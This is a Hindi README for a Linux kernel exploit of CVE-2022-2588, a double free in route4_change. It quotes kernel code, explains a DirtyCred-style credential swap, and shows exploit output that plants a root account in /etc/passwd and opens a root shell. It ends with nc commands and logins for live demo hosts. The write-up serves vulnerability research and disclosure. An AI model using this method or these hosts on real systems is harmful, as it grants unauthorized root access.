markakd/cve-2022-2588exploit for CVE-2022-2588
यह बग Linux v5.19 में इस कमिट द्वारा ठीक किया गया है।
यह बग Linux v3.17 में 2014 में इस कमिट द्वारा पेश किया गया था। इसे ट्रिगर करने के लिए User Namespaces की आवश्यकता है। यह बग CVE-2021-3715 के समान है, जो route4_filter की लिंक्ड लिस्ट पर अनुचित संचालन के कारण हुआ था। CVE-2021-3715 के अधिक विवरण ब्लैकहैट टॉक (पृष्ठ 16) में पाए जा सकते हैं। निम्नलिखित CVE-2022-2588 के कुछ संक्षिप्त विवरण हैं।
निम्नलिखित CVE-2022-2588 को समझने के लिए फ़ंक्शन route4_change के कुछ महत्वपूर्ण कोड स्निपेट दिखाता है।
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
फ़ंक्शन को route4_filter ऑब्जेक्ट को आरंभ/बदलने के लिए कार्यान्वित किया गया है। फ़िल्टर प्रत्येक फ़िल्टर के बीच अंतर करने के लिए handle का उपयोग एक अद्वितीय आईडी के रूप में करता है। यदि कोई हैंडल है जिसे पहले आरंभ किया गया है (अर्थात fold वेरिएबल शून्य नहीं है), तो यह पुराने फ़िल्टर को हटाकर और एक नया फ़िल्टर जोड़कर फ़िल्टर को अपडेट करेगा, अन्यथा, यह सिर्फ एक नया फ़िल्टर जोड़ेगा।
[0] में, कर्नेल route4_filter ऑब्जेक्ट आवंटित करता है। [1] में, यदि fold खाली नहीं है, जिसका अर्थ है कि समान हैंडल वाला एक फ़िल्टर मौजूद है, तो यह नए फ़िल्टर में कुछ जानकारी कॉपी करेगा और [2] में नए फ़िल्टर को आरंभ करेगा, फिर [3] में नए फ़िल्टर को सूची में सम्मिलित करेगा। यदि पुराना फ़िल्टर मौजूद है, तो इसे [4] में सूची से हटा दिया जाता है और [6] में मुक्त कर दिया जाता है।
बग [4] में होता है, जो जांचता है कि हटाने के लिए कोई पुराना फ़िल्टर है या नहीं। शर्त यह सुनिश्चित करती है कि हैंडल शून्य नहीं होना चाहिए और यह नए फ़िल्टर के हैंडल से मेल खाना चाहिए। यह शर्त [6] में फ़िल्टर को मुक्त करने की शर्त के साथ संरेखित नहीं होती है, जो केवल जांचता है कि पुराना फ़िल्टर मौजूद है या नहीं। इसलिए, यदि उपयोगकर्ता एक ऐसा फ़िल्टर बनाते हैं जिसका हैंडल 0 है, फिर उसके प्रतिस्थापन को ट्रिगर करते हैं, तो फ़िल्टर [4] में अनलिंक नहीं किया जाएगा लेकिन [6] में मुक्त कर दिया जाएगा क्योंकि उनकी शर्त समान नहीं है।
चूंकि यह बग CVE-2021-3715 के समान है, उनके आदिम लगभग समान हैं। पाठक आदिम के अधिक विस्तृत विवरण के लिए ब्लैकहैट टॉक का उल्लेख कर सकते हैं। यह राइट-अप DirtyCred के विचार के साथ शोषण दिखाता है।
चूंकि मुक्त किया गया fold बग को ट्रिगर करने के बाद भी लिंक्ड लिस्ट पर है, हम fold को एक बार फिर मुक्त कर सकते हैं, जो अंततः route4_filer ऑब्जेक्ट पर और यदि CONFIG_NET_CLS_ACT सक्षम है तो route4_filter->exts.action ऑब्जेक्ट पर डबल फ्री का कारण बनेगा।
एक्सप्लॉइट कोड उन दो डबल-फ्री क्षमताओं का उपयोग करके टास्क क्रेडेंशियल्स (kmalloc-192 डबल फ्री का उपयोग करके, आने वाला है) और ओपन फ़ाइल क्रेडेंशियल्स (kmalloc-256 डबल फ्री का उपयोग करके) पर हमले का प्रदर्शन करता है।
DirtyCred के विचार का पालन करते हुए, एक्सप्लॉइट कोड अनुमति जांच के बाद फ़ाइल क्रेडेंशियल को स्वैप करता है, ताकि हम पढ़ने की अनुमति वाली फ़ाइलों में कोई भी सामग्री लिख सकें। आदर्श रूप से, कोड बग से प्रभावित सभी कर्नेल संस्करणों पर काम कर सकता है। यह ध्यान दिया जाता है कि पुराने कर्नेल पर जहां msg_msg को kmalloc-rcl-* में अलग किया गया है, कोड काम करेगा यह सुनिश्चित करने के लिए, एक्सप्लॉइट एक अलग स्प्रे ऑब्जेक्ट का उपयोग करता है।
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
यह एक्सप्लॉइट अधिक से अधिक डिस्ट्रो पर काम करने के लिए लिखा गया था। इसकी पुष्टि निम्नलिखित पर काम करने के लिए की गई है:
(यदि आप पाते हैं कि यह अन्य कर्नेल पर काम करता है, तो कृपया इसे अपडेट करने के लिए एक PR भेजने में संकोच न करें।)
कृपया उपयोगकर्ता low और पासवर्ड low से लॉगिन करें
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338